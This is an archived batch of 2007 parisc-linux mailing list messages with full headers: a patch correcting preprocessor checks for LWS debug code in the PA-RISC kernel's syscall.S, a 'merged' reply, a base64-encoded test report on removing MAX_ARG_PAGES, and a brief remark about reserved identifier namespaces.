From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] parisc: Disable LWS debugging
Date: Tue, 22 May 2007 17:38:26 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <20070522153825.GA16404__31260.7159991332$1416624361$gmane$org@farad.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624361 23871 80.91.229.3 (22 Nov 2014 02:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:01 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: linux-kernel@vger.kernel.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 15:38:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx091) with SMTP; 22 May 2007 17:38:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E27357DD8B;
	Tue, 22 May 2007 09:38:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16620-01; Tue, 22 May 2007 09:38:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 630347DD84;
	Tue, 22 May 2007 09:38:34 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A5D9D7DD82
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:38:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16387-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:38:27 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id BC01E7DD80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:38:27 -0600 (MDT)
Original-Received: from farad.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:100c])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@farad.aurel32.net>)
	id 1HqWRP-0005r2-57; Tue, 22 May 2007 17:38:27 +0200
Original-Received: from aurel32 by farad.aurel32.net with local (Exim 4.63)
	(envelope-from <aurel32@farad.aurel32.net>)
	id 1HqWRO-0004Gn-UJ; Tue, 22 May 2007 17:38:26 +0200
Mail-Followup-To: Aurelien Jarno <aurelien@aurel32.net>,
	linux-kernel@vger.kernel.org, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ujlmct45TiEth6yUaGRwwDh1ZUVSRFcI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24553

The LWS debugging code on parisc is wrongly enabled due to a bug in the
use of the preprocessor directives. This debugging code is not thread 
safe and causes problems with a recent glibc on SMP kernels.

Signed-off-by: Aurelien Jarno <aurelien@aurel32.net>
Cc: parisc-linux@lists.parisc-linux.org
---
 syscall.S |    8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

-- 
  .''`.  Aurelien Jarno	            | GPG: 1024D/F1BCDB73
 : :' :  Debian developer           | Electrical Engineer
 `. `'   aurel32@debian.org         | aurelien@aurel32.net
   `-    people.debian.org/~aurel32 | www.aurel32.net


diff -u a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -501,7 +501,7 @@
 	shlw	%r20, 4, %r20
 	add	%r20, %r28, %r20
 
-# ifdef ENABLE_LWS_DEBUG
+# if ENABLE_LWS_DEBUG
 	/*	
 		DEBUG, check for deadlock! 
 		If the thread register values are the same
@@ -550,7 +550,7 @@
 		perspective
 	*/
 cas_action:
-#if defined CONFIG_SMP && defined ENABLE_LWS_DEBUG
+#if defined CONFIG_SMP && ENABLE_LWS_DEBUG
 	/* DEBUG */
 	mfctl	%cr27, %r1
 	stw	%r1, 4(%sr2,%r20)
@@ -562,7 +562,7 @@
 #ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# ifdef ENABLE_LWS_DEBUG
+# if ENABLE_LWS_DEBUG
 	/* Clear thread register indicator */
 	stw	%r0, 4(%sr2,%r20)
 # endif
@@ -576,7 +576,7 @@
 #ifdef CONFIG_SMP
 	/* Free lock */
 	stw	%r20, 0(%sr2,%r20)
-# ifdef ENABLE_LWS_DEBUG
+# if ENABLE_LWS_DEBUG
 	stw	%r0, 4(%sr2,%r20)
 # endif
 #endif
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] parisc: Disable LWS debugging
Date: Tue, 22 May 2007 11:49:28 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20070522154928.GD16717__43557.9964927912$1416624361$gmane$org@fattire.cabal.ca>
References: <20070522153825.GA16404@farad.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624361 23905 80.91.229.3 (22 Nov 2014 02:46:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:01 +0000 (UTC)
To: Aurelien Jarno <aurelien@aurel32.net>,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 15:49:40 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx101) with SMTP; 22 May 2007 17:49:40 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9E8E37DD8F;
	Tue, 22 May 2007 09:49:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16751-07; Tue, 22 May 2007 09:49:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 792597DD89;
	Tue, 22 May 2007 09:49:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B3AE67DD84
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:49:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16755-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:49:30 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E6CC77DD83
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 09:49:29 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 85C87584099;
	Tue, 22 May 2007 11:49:29 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 2346658408A;
	Tue, 22 May 2007 11:49:29 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id D4648837DB; Tue, 22 May 2007 11:49:28 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20070522153825.GA16404@farad.aurel32.net>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cGA6KXg1MydyuIigZWpltAhraGRhZtq/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24554

On Tue, May 22, 2007 at 05:38:26PM +0200, Aurelien Jarno wrote:
> The LWS debugging code on parisc is wrongly enabled due to a bug in the
> use of the preprocessor directives. This debugging code is not thread 
> safe and causes problems with a recent glibc on SMP kernels.
> 
> Signed-off-by: Aurelien Jarno <aurelien@aurel32.net>

merged.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Luck, Tony" <tony.luck@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: [patch] removes MAX_ARG_PAGES
Date: Tue, 22 May 2007 16:49:02 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <617E1C2C70743745A92448908E030B2A0184DF88__4561.97042153708$1416624362$gmane$org@scsmsx411.amr.corp.intel.com>
References: <1179836645.7019.86.camel@twins>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============0342666057=="
X-Trace: ger.gmane.org 1416624362 23916 80.91.229.3 (22 Nov 2014 02:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:02 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
 Andrew Morton <akpm@osdl.org>,
 linux-kernel@vger.kernel.org,
 Andi Kleen <ak@suse.de>,
 linux-mm@kvack.org,
 Ollie Wild <aaw@google.com>,
 Ingo Molnar <mingo@elte.hu>,
 parisc-linux@lists.parisc-linux.org
To: "Peter Zijlstra" <a.p.zijlstra@chello.nl>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 May 2007 23:49:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx096) with SMTP; 23 May 2007 01:49:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 89F357DD7F;
	Tue, 22 May 2007 17:49:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19515-01; Tue, 22 May 2007 17:49:12 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AAA2C7DD81;
	Tue, 22 May 2007 17:49:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF7857DD7F
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 17:49:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19089-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 17:49:05 -0600 (MDT)
Original-Received: from mga03.intel.com (mga03.intel.com [143.182.124.21])
	by free.linux.hp.com (Postfix) with ESMTP id D56B67DD7B
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 17:49:04 -0600 (MDT)
Original-Received: from azsmga001.ch.intel.com ([10.2.17.19])
	by azsmga101.ch.intel.com with ESMTP; 22 May 2007 16:49:03 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.14,567,1170662400"; d="scan'208";a="231018442"
Original-Received: from fmsmsx334.amr.corp.intel.com ([132.233.42.1])
	by azsmga001.ch.intel.com with ESMTP; 22 May 2007 16:49:05 -0700
Original-Received: from scsmsx411.amr.corp.intel.com ([10.3.90.30]) by
	fmsmsx334.amr.corp.intel.com with Microsoft SMTPSVC(6.0.3790.1830); 
	Tue, 22 May 2007 16:49:03 -0700
X-MimeOLE: Produced By Microsoft Exchange V6.5
Content-class: urn:content-classes:message
In-Reply-To: <1179836645.7019.86.camel@twins>
Thread-Topic: [patch] removes MAX_ARG_PAGES
Thread-Index: AcecbBmcrXrPfMu/T8GMljFodZYrlAAXUx/g
X-OriginalArrivalTime: 22 May 2007 23:49:03.0043 (UTC)
	FILETIME=[C6C4D130:01C79CCB]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SblmcuE0RkkerquPfGRqQstmdWkvKJO9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24555

--===============0342666057==
Content-class: urn:content-classes:message
Content-Type: text/plain;
	charset="utf-8"
Content-Transfer-Encoding: base64

PiBJbiBvcmRlciB0byBzb2x2ZSB0aGlzLCBJIGFkZGVkIGEgU1RBQ0tfVE9QX01BWCBtYWNybyBm
b3IgZWFjaCBhcmNoIGFuZA0KPiB1c2UgdGhhdC4gVGhpcyBtYWRlIElBNjQgYm9vdCBwcm9wZXJs
eS4NCg0KWWVzLiAgUGF0Y2hlcyBhcHBseSB0byAyLjYuMjEgY2xlYW5seSwgYnVpbGQgY2xlYW5s
eSBhbmQgYm9vdCBmb3IgbWUgdG9vLg0KSSBjYW4gZXZlbiBydW46DQoNCgkkIGxzIC1scnQgYGZp
bmQgL3Vzci9zaGFyZSAtdHlwZSBmIC1wcmludGANCg0Kb24gdGhlIG5ldyBrZXJuZWwgKHRoYXRz
IDQ4MDIwIGZpbGVzIGZvciBhIHRvdGFsIG9mIDIuM01CIG9mIGFyZ3MpLg0KDQo+IFRoZSBzZWNv
bmQgcGF0Y2ggbWFrZXMgdGhlIGNvbXBhdCBzdHVmZiBjb21waWxlLCB1bnRlc3RlZCB0aG91Z2gs
IGFzIEkNCj4gaGF2ZSBubyBpZGVhIGhvdyB0aGF0IHdvcmtzIG9uIGlhNjQuDQoNCk5vdCBzbyBn
b29kIG9uIHRoaXMgcGFydC4gIFJ1bm5pbmcgYW4gaWEzMiBiaW5hcnkgb24gdGhpcyBwYXRjaGVk
IGtlcm5lbA0KanVzdCBodW5nIG15IHN5c3RlbSA6LSgNCg0KLVRvbnkNCg0KDQo=

--===============0342666057==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============0342666057==--



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap
	function on hppa
Date: Tue, 22 May 2007 21:37:09 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20070523033709.GO18519__14984.3961619355$1416624362$gmane$org@parisc-linux.org>
References: <20070520015215.GA26949@amd64.aurel32.net>
	<20070520015653.GA22224@amd64.aurel32.net>
	<119aab440705200822vcfe3dd2ud542783a4ac2c3c8@mail.gmail.com>
	<4652C3EF.3020905@aurel32.net>
	<119aab440705220705s13c5fa96yd27857e22afbd2bd@mail.gmail.com>
	<20070522151930.GA16377@farad.aurel32.net>
	<20070522153723.GC16717@fattire.cabal.ca>
	<119aab440705221919pa9f14a7kc8330b6c7ad9ffec@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624362 23920 80.91.229.3 (22 Nov 2014 02:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>,
 libc-ports@sourceware.org,
 Aurelien Jarno <aurelien@aurel32.net>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 May 2007 03:37:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 23 May 2007 05:37:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 807147DDAD;
	Tue, 22 May 2007 21:37:16 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20758-03; Tue, 22 May 2007 21:37:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 58C497DDA7;
	Tue, 22 May 2007 21:37:14 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0A63C7DDA4
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 21:37:12 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20758-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 21:37:10 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 525F97DDA3
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 May 2007 21:37:10 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 98575494007; Tue, 22 May 2007 21:37:09 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440705221919pa9f14a7kc8330b6c7ad9ffec@mail.gmail.com>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ntsxEu9ebXBtibqHPTQ2kqQqLyUmZQi5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24556

On Tue, May 22, 2007 at 10:19:32PM -0400, Carlos O'Donell wrote:
> The code shouldn't undefine or define anything a user might define.
> All the constants have to go away. This header needs a rewrite.

However, the _ namespace is reserved to the library.  So _LWS_EGAIN is
permissible.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aurelien Jarno <aurelien@aurel32.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] Fix the atomic compare and swap function
	on hppa
Date: Sun, 20 May 2007 03:56:53 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <20070520015653.GA22224__24390.3088187382$1416624362$gmane$org@amd64.aurel32.net>
References: <20070520015215.GA26949@amd64.aurel32.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-15
X-Trace: ger.gmane.org 1416624362 23928 80.91.229.3 (22 Nov 2014 02:46:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:46:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: libc-ports@sourceware.org
Original-X-From: - Wed Jul 02 21:27:40 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 May 2007 01:57:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 20 May 2007 03:57:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E59F57DCB6;
	Sat, 19 May 2007 19:57:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20125-04; Sat, 19 May 2007 19:57:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98C7A7DCB7;
	Sat, 19 May 2007 19:57:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6ED037DCB3
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:56:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20087-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:56:55 -0600 (MDT)
Original-Received: from mail.aurel32.net (farad.aurel32.net [82.232.2.251])
	by free.linux.hp.com (Postfix) with ESMTP id 898287DCA6
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 May 2007 19:56:55 -0600 (MDT)
Original-Received: from amd64.aurel32.net ([2001:618:400:fc13:216:3eff:fe00:1009])
	by mail.aurel32.net with esmtps (TLS-1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.63) (envelope-from <aurel32@amd64.aurel32.net>)
	id 1HpafG-0006b3-GV; Sun, 20 May 2007 03:56:54 +0200
Original-Received: from aurel32 by amd64.aurel32.net with local (Exim 4.67)
	(envelope-from <aurel32@amd64.aurel32.net>)
	id 1HpafF-0006S5-VJ; Sun, 20 May 2007 03:56:54 +0200
Content-Disposition: inline
In-Reply-To: <20070520015215.GA26949@amd64.aurel32.net>
X-Mailer: Mutt 1.5.13 (2006-08-11)
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
